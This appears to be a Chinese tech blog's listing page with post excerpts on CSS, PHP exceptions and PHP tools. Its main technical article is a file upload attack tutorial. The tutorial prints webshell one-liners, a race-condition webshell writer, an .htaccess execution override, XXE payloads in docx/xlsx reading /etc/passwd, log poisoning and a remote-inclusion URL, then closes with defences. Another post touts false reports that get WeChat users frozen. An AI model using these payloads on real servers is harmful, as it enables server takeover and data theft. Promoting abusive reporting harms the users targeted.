REC
首页
文章分类
源码资源
技术教程
程序软件
文创娱乐
玄学修炼
关于我们
其他页面
网站统计
友情链接
用户留言
高清壁纸
关于易航
热门文章
Joe再续前缘主题 - 搭建本站同款网站
易航网址导航系统 – 功能强大,轻量易用
JsonDb-PHP轻量级文件数据库系统
Typecho一键调整网站为冬天情景插件
V免签全开源免签约码支付系统(支持:支付宝 微信 QQ)
标签搜索
PHP
Web前端
网站源码
PHP源码
Typecho
Typecho插件
课程资料
Windows程序
Android软件
武术内功
HTML源码
Web
Joe主题
Python
Windows
国漫
网络协议
MySQL
NodeJs
小说
发布
登录
注册
找到
144
篇与
技术教程
相关的结果
- 第 4 页
2025-01-12
我常用的十个 CSS 代码技巧
在 CSS 开发中,一些简单的一行代码往往可以让你的页面变得更加优雅高效。以下是 10 个我喜欢使用的 CSS 一行代码,它们不仅简洁,还能在实际项目中起到很大的作用。 1. 设置宽高比例(Aspect Ratio) 通过 aspect-ratio 属性,可以根据指定的宽度自动调整高度(反之亦然)。 .box { width: 90%; aspect-ratio: 16/9; }适合用在视频播放器或图片容器中,确保它们以正确的比例呈现。 2. 逻辑属性(Logical Properties) 使用 margin-block 和 margin-inline 替代传统的 margin-top、margin-right 等,更加简洁直观。 .box { margin-block: 5px 10px; /* 上边距 5px,下边距 10px */ margin-inline: 20px 30px; /* 左边距 20px,右边距 30px */ }对于 padding 也是一样的: .box { padding-block: 10px 20px; /* 上下内边距 */ padding-inline: 15px 25px; /* 左右内边距 */ }这些属性会自动适配文本方向(如从左到右或从右到左)。 3. 全局盒模型设置 避免因默认 box-sizing 属性引起的布局问题,通过以下一行代码可以让所有元素包含其内边距和边框: *, *::before, *::after { box-sizing: border-box; }这可以大幅减少布局错误,让开发更加省心。 4. 平滑滚动(Smooth Scroll) 为整页启用平滑滚动,提升用户体验: html { scroll-behavior: smooth; }在单页网站或锚点导航中尤为实用。 5. 垂直书写模式(Vertical Writing Mode) 让文字从右向左垂直排列,可用于特殊设计场景或支持垂直书写的语言: .vertical-text { writing-mode: vertical-rl; }6. 文本溢出省略号(Truncating Text with Ellipsis) 对于超出容器的长文本,可以用省略号代替多余部分: .ellipsis { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }适合用在标题、卡片或链接预览中。 7. 居中对齐(Place-items) 使用 place-items 快速实现网格容器的水平和垂直居中对齐: .box { display: grid; place-items: center; }8. 限制文本宽度(Limit Text Width) 通过限制每行文本的最大字符数,提升可读性: p { max-width: 100ch; }“ch” 单位表示一个字符的宽度,非常适合用于段落样式。 9. 占位符样式(Styling Placeholder Text) 给输入框的占位符文本添加样式: ::placeholder { color: #999; font-style: italic; }10. 统一的强调色(Accent Color) 通过 accent-color 为交互元素(如按钮、复选框)设置统一的主题颜色: body { accent-color: green; }可以在整个网站中保持一致的视觉风格,而无需单独为每个元素定义样式。 总结 这些 CSS 一行代码涵盖了布局优化、用户体验提升和样式统一等多个方面,既实用又高效。将它们融入你的日常工作流,可以让项目的开发更加轻松,同时大幅提升代码的质量和可维护性。 试试这些技巧,感受它们带来的改变吧!
技术教程
# Web前端
易航
1月12日
0
43
0
2025-01-12
WX 举报他人 100% 冻结7天 亲测成功!
投诉理由填写下方这个100%掉 隐藏内容,请前往内页查看详情 投诉选:发布不适当内容对我骚扰,聊天证据随便选一条,聊天截图不用,最后投诉理由填这代码。 请勿轻易使用
技术教程
易航
1月12日
12
55
1
2025-01-11
解锁 PHP 异常处理:构建高可靠性应用
健壮的PHP应用注重完善的错误处理机制,它是可靠性、可性和用户友好性的基石。然而,维护错误处理却常常被忽视或未能得到一致的应用,导致代码库脆弱、难以实现调试和维护。尽管许多开发者意识到错误处理的重要性,但我却发现一些应该是常识性的做法,例如正确的处理异常,在实际项目中经常被误解、误用,甚至完全被忽略。这让我意识到即使到了,皮肤基本的错误处理技巧,也值得反复强调和重视。 这凸显了积极讨论和推广异常处理最佳实践的重要性。未能正确捕获错误、中断通用异常类型、或者在错误消息中遗漏了关键上下文信息,这些常见的错误都会降低应用程序的健壮性,并显着增加调试的难度。 本文将重点探讨PHP异常的重要性,以及如何利用它们编写更简洁、补充弹性的代码。通过理解异常的机制和正确的使用方法,我们可以弥补实践中的不足,构建既健壮又易于维护的应用程序。 为什么异常对于错误至关重要处理 传统的错误处理方式(如返回错误代码)常常导致代码冗长且容易出错。异常提供了一种更清晰、更格式化的错误处理方式,其优点在于: 分离错误处理逻辑与业务逻辑,使代码更简洁易懂。 支持集中式错误管理,提高代码的可维护性。 提供堆栈跟踪信息,简化调试过程。 采用包装的 try/catch 块,使错误处理流程更清晰。 使用异常能够确保在整个应用程序中实现一致且有效的错误处理。 1、抛出和捕获异常 而返回错误代码,不如使用 throw 语句发送异常。这会立即中断当前代码执行流程,确保错误被及时并发现处理。 function divide($a, $b) { if ($b === 0) { throw new InvalidArgumentException("Division by zero is not allowed."); } return $a / $b; } try { echo divide(10, 0); } catch (InvalidArgumentException $e) { echo "Error: " . $e->getMessage(); } 异常会中断当前执行流程,并沿着调用栈向上冒泡,直到被捕获。 使用具体的异常类(如InvalidArgumentException)可以更清晰地表达错误类型,方便后续处理。 2、创建自定义异常类 为了更准确地描述和处理错误,建议创建自定义异常类。这有助于为错误添加特定上下文信息,从而更容易理解和管理。 function divide($a, $b) { if ($b === 0) { throw new InvalidArgumentException("Division by zero is not allowed."); } return $a / $b; } try { echo divide(10, 0); } catch (InvalidArgumentException $e) { echo "Error: " . $e->getMessage(); }自定义异常可以提高代码的可执行性,并支持更细粒度的错误处理。 3、使用全局异常处理程序 为了捕获应用程序中所有未处理的异常,请设置一个全局异常处理程序。这样可以确保任何错误都不会被遗漏,并为意外错误提供兜底方案。 set_exception_handler(function ($exception) { error_log("Unhandled exception: " . $exception->getMessage()); echo "An unexpected error occurred. Please try again later."; }); throw new Exception("Test exception"); 集中式错误日志记录:主要是跟踪和分析错误。 优雅的用户体验型错误提示:提升用户体验。 防止程序崩溃:降低未处理异常导致应用程序崩溃的风险。 4、将错误转化为异常 PHP允许你使用自定义错误处理程序将传统错误(例如通知、警告)转换为异常。这有助于将所有错误处理统一到异常机制处理下。 set_error_handler(function ($severity, $message, $file, $line) { throw new ErrorException($message, 0, $severity, $file, $line); }); try { echo $undefinedVariable; // Will trigger an error } catch (ErrorException $e) { echo "Converted Error: " . $e->getMessage(); }将错误转换为异常后,你可以使用try-catch代码块对所有问题进行统一管理。 5、记录异常 为了方便排查故障和监控系统运行状况,一定记录所有异常。建议使用 Monolog 等日志库,或 Sentry 等外部监控服务。 try { throw new RuntimeException("Something went wrong."); } catch (RuntimeException $e) { error_log($e->getMessage()); echo "An error occurred. Please try again later."; }预定日志信息包含关键细节,例如错误消息、堆栈跟踪以及时钟。 6、应用程序逻辑的异常 异常不仅可以处理运行时错误,还可以用于增强业务逻辑的健壮性以及验证用户输入。 function processOrder($quantity) { if ($quantity <= 0) { throw new InvalidArgumentException("Quantity must be greater than zero."); } echo "Order processed for quantity: $quantity"; } try { processOrder(0); } catch (InvalidArgumentException $e) { echo "Validation Error: " . $e->getMessage(); }将异常用于逻辑验证有助于保证代码的健壮性和可预测性。 总结 异常是构建健壮且易于维护的PHP应用程序的强大工具。通过以下实践: 使用錯誤類型 设置全局异常处理程序 将错误转化为异常 记录错误 您可以构建一致且构造的错误处理策略。异常能够确保错误得到有效处理,使代码更简洁、更容易调试。 错误的目的,但完善的异常处理机制可以化解混乱,提升应用的稳定性和可靠性。
技术教程
# PHP
易航
1月11日
0
29
0
2025-01-11
15 个让你的 PHP 开发工作 更轻松的插件
在 PHP 开发过程中,借助各种插件可以显著提高开发效率、增强代码质量、改善工作流等。 以下是 15 个推荐的 PHP 插件,它们可以帮助你更轻松地进行开发,涵盖代码质量、调试、自动化、框架支持等多个方面。 PHPStan PHPStan 是一个静态分析工具,它帮助开发者发现潜在的错误和不一致的代码。PHPStan 支持各种 PHP 版本,并能发现潜在的类型错误、未使用的代码等问题。 功能: 静态类型检查。 提供详细的错误信息。 与 IDE 集成,实时反馈错误。 安装: composer require --dev phpstan/phpstan集成:与 IDE 如 PHPStorm、VSCode 配合使用,提供实时分析。 Xdebug Xdebug 是 PHP 中最常用的调试工具。它允许你进行步进调试、性能分析(profiling)和代码覆盖分析。Xdebug 通过提供堆栈跟踪和详细的错误信息,可以帮助你快速定位问题。 功能: 断点调试。 性能分析。 堆栈跟踪和错误日志。 安装: sudo apt-get install php-xdebug集成:可以与 IDE(如 PHPStorm、VSCode)配合使用,进行更高效的调试。 PHP_CodeSniffer PHP\_CodeSniffer 是一个用于检测 PHP 代码是否符合 PSR 编码标准的工具。它可以自动检查你的代码是否遵循 PSR-1、PSR-2、PSR-12 等编码标准,保持代码的一致性和可读性。 功能: 自动检测编码风格错误。 提供修复建议。 支持 PSR 标准和其他编码风格。 安装: composer require --dev squizlabs/php_codesniffer集成:与 IDE(如 PHPStorm)集成,自动提示代码风格问题。 Composer Composer 是 PHP 中最常用的依赖管理工具,几乎每个 PHP 项目都会使用它。它不仅用于管理第三方库,还能处理自动加载和版本控制。 功能: 管理项目的依赖。 支持自动加载。 提供版本控制和更新。 安装: curl -sS https://getcomposer.org/installer | php集成:集成到任何 PHP 项目中,自动管理依赖库。 Laravel Debugbar Laravel Debugbar 是一个用于 Laravel 框架的调试工具,它可以显示详细的请求信息、数据库查询、视图渲染、路由等调试信息。 功能: 显示请求的 HTTP 信息。 显示数据库查询、模型调试。 提供内存使用和执行时间统计。 安装: composer require barryvdh/laravel-debugbar --devTinker Tinker 是 Laravel 框架自带的交互式命令行工具。它让你可以在命令行中直接执行 PHP 代码,进行测试和调试,特别适合 Laravel 的开发者。 功能: 交互式命令行。 直接执行 Eloquent 查询和模型操作。 快速测试代码片段。 安装: composer require laravel/tinker --devPHPUnit PHPUnit 是 PHP 中最常用的单元测试框架。它帮助开发者编写和运行测试,确保代码的可靠性和稳定性。 功能: 单元测试、集成测试和功能测试。 提供详细的测试报告。 与 CI/CD 工具集成,自动化测试。 安装: composer require --dev phpunit/phpunitTwig Twig 是一个灵活的 PHP 模板引擎,它非常适用于动态内容生成。它的语法简洁,提供了丰富的扩展功能。 功能: 支持条件语句、循环、过滤器等。 提供缓存机制,提高性能。 与 Symfony、Laravel 等框架兼容。 安装: composer require twig/twigPHPMD (PHP Mess Detector) PHPMD 是一个静态分析工具,用于检查 PHP 代码中的潜在问题。它会检测代码中的“坏味道”,如重复代码、过长的函数、复杂度高的函数等。 功能: 检测潜在的代码问题。 支持规则自定义。 提供详细的报告。 安装: composer require --dev phpmd/phpmdPHP-CS-Fixer PHP-CS-Fixer 是一个自动修复代码风格问题的工具,支持 PSR 规范和其他流行的编码标准。它不仅能帮助你发现代码风格问题,还能自动修复这些问题。 功能: 自动修复代码风格问题。 支持 PSR 标准和其他风格。 配置灵活,支持规则自定义。 安装: composer require --dev friendsofphp/php-cs-fixerLaravel Eloquent Sluggable Eloquent Sluggable 是一个 Laravel 插件,帮助你为模型生成 SEO 友好的 URL 标识符(Slug)。它可以自动为你创建和管理 slug。 功能: 自动生成 slug。 支持自定义字段生成 slug。 与 Eloquent 模型无缝集成。 安装: composer require cviebrock/eloquent-sluggableSwoole Swoole 是一个高性能的异步网络通信框架,旨在提升 PHP 的并发处理能力。它支持协程、WebSocket、HTTP 等功能,可以大幅提高 PHP 应用的性能。 功能: 支持协程、异步、并发。 支持 WebSocket、TCP、HTTP 等协议。 提升 PHP 应用的性能。 安装: pecl install swooleLaravel Horizon Laravel Horizon 是一个用于监控 Laravel 队列的插件,它提供了一个漂亮的仪表板,可以帮助开发者管理队列的处理过程、失败的任务等。 功能: 实时监控队列。 提供队列处理的统计信息。 支持队列任务的重试和失败日志。 安装: composer require laravel/horizonCarbon Carbon 是一个用于日期和时间处理的 PHP 扩展,基于 PHP 的 DateTime 类。它为日期和时间提供了很多方便的操作和格式化方法。 功能: 支持日期加减、格式化、比较。 提供丰富的日期操作方法。 兼容时区处理。 安装: composer require nesbot/carbonGuzzle Guzzle 是一个强大的 PHP HTTP 客户端,用于发送 HTTP 请求并处理响应。它支持同步和异步请求,支持文件上传、JSON 支持等功能。 功能: 支持同步和异步请求。 支持文件上传和 JSON 处理。 提供详细的错误处理。 安装: composer require guzzlehttp/guzzle总结 以上 15 个 PHP 插件覆盖了开发中的各个方面,从编码标准、测试工具、调试工具,到模板引擎、HTTP 客户端等,它们能帮助开发者提高代码质量、开发效率、调试体验和性能等。 如果你能在 PHP 项目中有效地应用这些插件,将会大大简化开发流程,提高团队协作效率,并让项目更具可维护性。 图片
技术教程
# PHP
易航
1月11日
0
46
0
2025-01-10
PHP 文件上传漏洞总结
文件上传漏洞 文件上传漏洞是指后端服务器允许前端用户上传文件,但是对文件的名称、后缀、内容、大小等信息没有做过滤和控制,导致攻击者可以上传任意文件到服务器。 影响 1、上传恶意文件:比如上传后缀为.php、.jsp的文件,服务器收到后,对其没有进行校验。访问文件时,直接调用PHP解释器或JSP引擎执行,如果文件内容是可以执行系统命令的代码,攻击者就可以通过该文件获取服务器权限。 2、覆盖关键文件:服务器允许上传相同文件名的文件,如果可以通过目录遍历更改上传路径和位置,则可以覆盖关键文件。 3、DDoS攻击:如果服务器对上传文件的大小没有限制,则可以上传大量超大文件,占用服务器存储空间,消耗服务器带宽,造成DDoS攻击。 漏洞利用 当服务器存在文件上传漏洞时,需要根据具体情况采用合适的利用办法和绕过方式等,如下。 无限制上传WebShell 服务器不管是在前端还是后端,都没有对用户上传的文件做过滤和校验,导致攻击者可以在上传点直接上传webshell到服务器,从而获取服务器控制权。 绕过Centent-Type验证上传WebShell MIME:定义数据类型,告诉客户端或服务器,数据是什么类型,应该用什么方式处理。 Centent-Type:HTTP协议的一个字段,是MIME在HTTP协议中的应用。 Centent-Type验证属于后端的一个防护,服务器收到请求后,会验证Centent-Type类型是否被允许,如果不允许,则拒绝请求。如下图: 图片 假设服务器只允许Centent-Type类型为image/jpeg,上传test.php,Content-Type类型是application/octet-stream,服务器收到请求后,对Centent-Type进行对比检查,如果不符,拒绝访问。 在实战利用中,可以修改Centent-Type为服务器允许的类型进行绕过,方法有二。 一、前端上传.php文件,对上传请求进行拦截,在请求包中修改Centent-Type。 二、前端上传服务器允许的文件,如.jpg,对上传请求进行拦截,在请求包中修改文件文件后缀及内容。 通过目录遍历上传WebShell 为了让攻击者无法通过上传WebShell获取服务器权限,一般会将上传目录设置为只允许上传静态文件,且没有执行权,文件不允许被当作脚本执行,就算绕过层层防护,把WebShell上传到了服务器,也无法利用。 上传成功后,访问时,会把WebShell内容直接输出,或者是将WebShell下载,而不是调用解释器执行。 图片 遇到这种情况时,就是上传目录没有执行权,要绕过防护执行WebShell,可以通过中间件解析漏洞,或者通过目录遍历,将文件上传到可执行目录中,解析漏洞后面会详细讲,这里主要说一下目录遍历绕过。如下图: 图片 使用../将WebShell上传到上层目录,服务器如果对目录遍历有检测,禁止使用../进行目录遍历,也可以尝试目录遍历绕过,比如将/进行URL编码或其他什么方式。 绕过黑名单上传WebShell 情况一: 为了不让攻击者上传.php、.jsp等后缀的恶意文件,服务器直接将这些后缀列入了黑名单,但是百密一疏,黑名单这种情况总会漏掉一些其他可执行的文件后缀,如下: php > php3、php5、phtml jsp > jspx asp > asa、aspx如果服务器采用黑名单防护,可以尝试其他后缀代替。 情况二: 关于覆盖服务器配置的情况,服务器怎么去处理文件,以什么方式处理,都是根据配置文件中的配置去执行的,拿Apache服务器举例,Apache的配置文件是/etc/apache2/apache2.conf,如下配置: LoadModule php_module /usr/lib/apache2/modules/libphp.so AddType application/x-httpd-php .php这段配置是告诉服务器,加载php模块,将.php文件交给php解释器处理,那假如要配置上传目录没有执行权限,是不是也要跑到/etc/apache2/apache2.conf下配置呢,其实不用,该配置文件应用于全局,也就是整个服务器,为了一个目录的配置而修改整个服务器的配置是非常不方便的,这时候就用到了.htaccess文件,这是一个只针对于目录的配置文件,不影响全局配置,怎么使用呢,只要在需要单独配置的目录下,创建.htaccess文件即可,立即生效,不需要重启服务器。 如果服务器使用黑名单防护漏掉了.htaccess文件,则可以通过上传该文件修改目录配置或权限,假如上传目录upload没有执行权,那么可以上传以下内容的.htaccess。 LoadModule php_module /usr/lib/apache2/modules/libphp.so AddType application/x-httpd-php .php .jpg .txt简单理解就是后缀为.php、.jpg、.txt的文件,都交给php解释器执行,不管是图片马还是内容为木马的文本文件,都可以进行利用从而获取服务器权限。 混淆后缀上传WebShell 双写:上传WebShell到服务器后,服务器会把黑名单中的后缀替换为空,也就是去除,顺序是从左到右,且只进行一次操作,通过双写后缀进行绕过,如test.pphphp,经过替换后的文件名为test.php。 大小写:服务器验证文件后缀时,设置为区分大小写,那么就可以对文件后缀进行大小写处理,如.pHp、PhP等,因为只过滤.php,所以经过大小写处理的后缀可以被上传,又因为配置文件处理.php文件时不区分大小写,所以.pHp可以被执行。 多后缀:服务器处理上传文件时,对后缀进行检查,顺序是从后往前,具体来说就是检查从后往前的第一个点(.)第一个点(.)后面的内容就会被识别为后缀,那么webshell文件test.php则可以在后面添加允许的后缀绕过检查,test.php.jpg。也可以只加点(.),test.php.,这样的话后缀实际上就是空,空后缀没有在黑名单中,就可以绕过。 尾部字符:文件上传到服务器后,如果文件名中带空格,服务器会自动去除空格,如果上传时服务器对空格没有过滤,且加空格的后缀也没有在黑名单,就可以通过后缀加空格绕过了。上传到服务器后空格被去除,后缀被还原。 尾部符号绕过还有分号(;)和空字节的URL编码(%00),即代表结束、截断的意思,test.php;.jpg、test.php%00.jpg,上传时服务器检查后缀是.jpg,可以上传没问题,但是在执行时,分号(;)和空字节的URL编码(%00)后面的部分会被忽略,最后识别到的文件就是test.php。但只针对GET请求,如果是POST,则需要拦截请求包,在数据包中修改了,test.php0x00.jpg,0x00是空字节的十六进制编码,实际利用中需要将其替换,而不是直接输入0x00。 URL编码:如果服务器在处理上传文件时,没有解码操作,则可以将点(.)进行URL编码(%2e)绕过,test%2ephp,服务器执行该文件时会进行解码,这时文件名被还原test.php。 这只是混淆文件后缀众多方法中的一小部分。其中双写、大小写、末尾加点(.)加空格和URL编码属于是黑名单绕过范畴,而多后缀、00截断则针对的是白名单防护。 绕过文件内容检查上传WebShell 为了防止攻击者上传包含恶意代码的图片文件,服务器会对上传文件的内容做检查,检查是否具有图片的特征,如文件头的前两个字节是不是图片,内容中有没有图片的尺寸属性等等。 可以制作一个图片马进行绕过,方式如下: copy test.jpg/b+shell.php shell.jpgcopy:windows系统复制命令。 test.jpg:合法图片文件。 /b:二进制模式,表示复制过程中,合法图片的内容不被修改,原封不动地复制。 +:附加,这里表示把shell.php文件内容附加到test.jpg文件中去。 shell.php:webshell。 shell.jpg:最后生成的图片马文件。 制作方法有很多,这里用的是copy方法,这样制作的图片马可以以图片形式正常打开,只是把webshell文件内容隐藏到了图片内容的末尾。 如果只检查文件头,则可以只修改文件头为合法的即可,如下: JPG:0xFF 0xD8 PNG:0x89 0x50 GIF:0x47 0x49修改文件头有很多工具和插件都可以完成,也可以使用Burp拦截上传请求后,在数据包中修改,现在代码前添加两个占位符,选中后修改其十六进制为图片即可,如下图: 图片 条件竞争上传WebShell 现代框架处理上传文件,一般是先放到沙盒目录,比如/upload\_sandbox,用于临时存放文件和隔离上传文件,且没有执行权,文件上传到沙盒目录时还会进行随机改名处理,防止覆盖文件。接下来会检查文件的文件名、文件内容、后缀、魔数等等,如果符合要求判定为安全,才会将文件上传到真实上传目录,比如/upload,如果识别文件是危险的,则会直接删除。 但是,如果没有使用任何框架,而是自定义处理上传的文件,则会出现一种情况,就是上传文件时,没有经过任何过滤就直接存放到了服务器真实上传目录,然后才对其是否合法进行检查,合法保留,不合法删掉,检查时间可能就只有几毫秒,虽然时间很短,但仍然可以通过条件竞争方式上传WebShell。 操作只需要两步: 一、拦截上传请求,对其进行并发,文件后缀为php,内容如下: <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>'); ?>fopen('shell.php','w') :以写的模式打开shell.php,如果文件不存在就新建一个。 fputs :将 <?php @eval($_POST[123])?> 写入shell.php。 如下图: 图片 二、拦截访问请求,对其进行并发,访问的是我们上传的test.php,上传路径可以先上传一张合法图片查看,并发过程和第一步一样,也可以修改线程,提高成功率。 上传test.php到服务器后,服务器并没有及时删除(几毫秒时间),且幸运的被访问到,则执行命令,创建WebShell。 上传其他恶意文件 除了上传WebShell获取服务器权限外,还可以上传其他恶意文件进行攻击,如下情况: 一、服务器允许上传html、svg后缀的文件,则可以构造恶意JS脚本,进行XSS攻击。 二、服务器允许上传docx、xlsx后缀的文件,则可以引入XML外部实体,进行XXE攻击。 docx和xlsx文件都是一个ZIP压缩包,其中包含多个XML文件,可以向XML文件中注入XXEPayload,方法如下: docx 1、新建docx文件并解压。 2、解压后的文件结构如下图。 图片 word文件夹下有多个XML文件,均可以注入,但推荐修改document.xml。 图片 3、记事本打开文件document.xml进行修改。 4、document.xml原内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document> <w:body> <w:p w14:paraId="367FED8D" w14:textId="1728AEF6" w:rsidR="007A2F41" w:rsidRDefault="00653F26"> <w:r> <w:rPr> <w:rFonts w:hint="eastAsia"/> </w:rPr> <w:t></w:t> </w:r> </w:p> <w:sectPr w:rsidR="007A2F41"> <w:pgSz w:w="11906" w:h="16838"/> <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/> <w:cols w:space="425"/> <w:docGrid w:type="lines" w:linePitch="312"/> </w:sectPr> </w:body> </w:document>修改后的内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY test SYSTEM 'file:///etc/passwd'>]> <w:document> <w:body> <w:p w14:paraId="367FED8D" w14:textId="1728AEF6" w:rsidR="007A2F41" w:rsidRDefault="00653F26"> <w:r> <w:rPr> <w:rFonts w:hint="eastAsia"/> </w:rPr> <w:t>&test;</w:t> </w:r> </w:p> <w:sectPr w:rsidR="007A2F41"> <w:pgSz w:w="11906" w:h="16838"/> <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/> <w:cols w:space="425"/> <w:docGrid w:type="lines" w:linePitch="312"/> </w:sectPr> </w:body> </w:document>共对两处进行了修改: a.定义外部实体test,内容为读取服务器/etc/passwd文件。 b.在<w:t>标签中引用test实体。 5、修改后,将文件夹重新压缩成ZIP文件,再改后缀为docx。 6、打开文件时会显示文件部分内容有问题,是否恢复,点否即可。 xlsx: 大致过程和具体细节和docx相似,但涉及的XML文件不同。 1、新建xlsx文件并解压。 2、解压后的文件结构如下图。 图片 3、记事本打开文件sheet1.xml进行修改,位置:xl > worksheets > sheet1.xml。 4、sheet1.xml原内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet> <dimension ref="A1"/> <sheetViews> <sheetView tabSelected="1" workbookViewId="0"/> </sheetViews> <sheetFormatPr defaultRowHeight="13.8" x14ac:dyDescent="0.25"/> <sheetData> <row r="1" spans="1:1" x14ac:dyDescent="0.25"> <c r="A1" t="s"> <v>0</v> </c> </row> </sheetData> <phoneticPr fontId="1" type="noConversion"/> <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/> <pageSetup paperSize="9" orientation="portrait" r:id="rId1"/> </worksheet>修改后的内容如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY test SYSTEM 'file:///etc/passwd'>]> <worksheet> <dimension ref="A1"/> <sheetViews> <sheetView tabSelected="1" workbookViewId="0"/> </sheetViews> <sheetFormatPr defaultRowHeight="13.8" x14ac:dyDescent="0.25"/> <sheetData> <row r="1" spans="1:1" x14ac:dyDescent="0.25"> <c r="A1" t="s"> <v>&test;</v> </c> </row> </sheetData> <phoneticPr fontId="1" type="noConversion"/> <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/> <pageSetup paperSize="9" orientation="portrait" r:id="rId1"/> </worksheet>还是定义了外部实体test并且引用,在<v>标签中。 5、修改后,将文件夹重新压缩成ZIP文件,再改后缀为xlsx。 6、打开文件时会显示文件部分内容有问题,是否恢复,点否即可。 如果服务器允许解析XML外部实体,上传后观察响应,是否返回内容,也不排除盲的情况,可以将定义的外部实体内容修改为自己的dnslog地址进行测试。 使用PUT上传文件 如果服务器允许PUT方法,即使没有上传点,也可以进行文件上传,如下请求: PUT /images/test.php HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-httpd-php Content-Length: 49<?php @eval($_POST[123]); ?>可以通过OPTIONS方法向服务器发送预检请求,判断是否允许PUT方法。 文件包含 文件包含漏洞主要出现在PHP开发的Web应用中,在开发的时候,有很多地方会用到相同的代码,每次都重复写一遍太麻烦,为了方便,会使用文件包含函数直接包含代码文件,如果文件包含函数对包含的文件没有进行过滤和校验,就会造成文件包含漏洞。 include():包含文件不存在或出错,程序继续运行。 require():包含文件不存在或出错,程序终止运行。 include_once():如果相同的文件已被包含,不再进行二次包含操作。 require_once():如果相同的文件已被包含,不再进行二次包含操作。文件包含又分为本地包含(LFI)和远程包含(RFI),包含路径用相对路径或绝对路径都可以,RFI需要PHP配置allow\_url\_include=on。 LFI:https://example.com/index.php?file=../../upload/shell.php RFI:https://example.com/index.php?file=https://test.com/upload/shell.php利用文件包含漏洞执行WebShell 在防御文件上传攻击时,服务器使用了白名单校验,但是,如果服务器存在文件包含漏洞的话,攻击者依然可以执行WebShell获取服务器权限。 制作图片马,或其他包含恶意代码的合法文件上传至服务器绕过白名单校验,通过对该文件进行包含,让服务器去执行,PHP在执行include()或require()时,不会验证后缀,只会读取内容,如果是PHP代码,则会使用PHP解释器执行。 通过写入日志执行WebShell 服务器使用了更强大的防护机制,不仅检查文件后缀,还对文件内容进行了严格校验,只要包含恶意代码,一律拒绝上传,这样的话就无法通过上传方式执行WebShell获取服务器权限了,但是,如果服务器存在文件包含漏洞,可以直接包含恶意代码,将代码写入日志文件,再包含日志文件执行WebShell。 https://example.com/index.php?file=<?php @eval($_POST[123]); ?>如果在浏览器包含执行,浏览器会把特殊符号进行URL编码,可以通过Burp发送。 图片 400的原因是包含的文件不存在,查看日志文件,木马成功写入。 图片 再包含日志文件就可以执行WebShell了,默认访问日志文件路径参考: nginx: /var/log/nginx/access.log apache: /var/log/apache2/access.log /var/log/httpd/access_log 解析漏洞 从客户端发送请求,到数据库收到请求,这中间经过的程序都叫中间件,而解析漏洞主要说的是Web服务应用程序,也就是IIS、Apache、Nginx等等,这里就先简单讲一下关于这三个中间件的解析漏洞。 IIS IIS分低版本(IIS 5.x-IIS 6.x)和高版本(IIS 7.x及以上),低版本只能解析asp的WebShell。方法如下: 目录解析: 服务器会把后缀为.asp文件夹下的文件,都按asp文件解析执行,如下: https://example.com/upload/test.asp/test.jpg如果上传路径可控,可以添加一个以.asp为后缀的文件夹,把图片马放到该目录下上传,访问执行WebShell。 文件解析: 之前将混淆后缀的时候讲到过,就是在后缀后面加个分号(;)在跟一个合法后缀,如下: https://example.com/upload/test.asp;.jpg解析的时候分号(;)代表结束,所以后面的内容不会解析,解析文件就成了test.asp。 格式解析: 有些后缀服务器也会当作asp解析,比如.asa、cer、cdx等等,具体可以查看ISAPI扩展。 https://example.com/upload/test.cerIIS7.x版本也存在解析漏洞,跟Nginx的解析漏洞一样, 这就不讲了,统一在Nginx解析漏洞中讲。 Apache 解析顺序: Apache服务器解释的时候顺序是从右往左,如果添加服务器无法识别的后缀会发生什么呢,如下: https://example.com/upload/test.php.aaa.bbb假如往服务器上传了一个test.php.aaa.bbb文件,正常情况下肯定是访问失败,但是Apache低版本(Apache2.2及以下)是可以正常解析的,访问执行时,服务器从右往左开始解析后缀,如果无法解析,就会继续向左解析,直到碰到可以解析的后缀,那么test.php.aaa.bbb文件最后就会被解析成test.php。 配置文件: 上面也提到过,就是AddType application/x-httpd-php配置,该配置的意思是什么后缀会被当成php代码解析,如果配置不当,将一些合法后缀添加到该配置项,就会被攻击者利用,造成安全问题,如下: AddType application/x-httpd-php .php .jpg .txtNginx 跟php和nginx的配置有关,先看一下正常情况,向服务器上传图片马绕过白名单校验。 https://example.com/upload/test.jpg在图片马后添加一个不存在的php文件,如下: https://example.com/upload/test.jpg/123.php正常肯定返回404页面不存在,但是如果nginx错误配置try\_files,收到请求后,不会去检查文件是否存在,而是看是什么类型的文件,如果是php,直接交给php解释器去执行,php配置cgi.fix\_pathinfo,默认值为1,表示开启,0是关闭,正常情况,php解释器会检查123.php是否存在,如果不存则响应404,但是使用cgi.fix\_pathinfo配置后,如果123.php不存在,则会检查上一层目录是否存在,以此类推,检查到test.jpg时,发现test.jpg存在,php解释器就会把test.jpg当作php解析执行。 所以测试的时候,在图片马后加一个不存在的php文件判断就行了。 绕过 文件上传漏洞绕过总结,如下图: 图片 预防攻击 可以借鉴以下方式对文件上传漏洞进行防御和修复。 白名单校验 对文件后缀进行白名单校验,只允许上传白名单中被允许后缀的文件,例如只允许上传.jpg、.png类型文件。同时对MIME类型进行检查。 检查文件内容 对上传文件的内容进行严格检查,如果存在恶意代码,拒绝上传,检查文件名,防止覆盖文件,或者对上传到服务器的文件进行修改随即名处理。 上传目录权限 设置上传目录为只允许上传静态文件,避免上传目录拥有执行权,防止攻击者绕过防护上传WebShell到服务器执行。 使用安全框架 尽量使用安全的框架处理文件上传,如果使用自定义,请做好安全防护。 安全的中间件 使用最新版本的中间件,及时更新,正确配置,避免攻击者利用中间件解析漏洞进行文件上传漏洞利用。 总结 如果你对安全感兴趣,别忘了关注我们,持续为你带来最新的安全动态与技术分享!
技术教程
# PHP
# 网络安全
易航
1月10日
0
40
0
2025-01-10
PHP 内置对象是什么
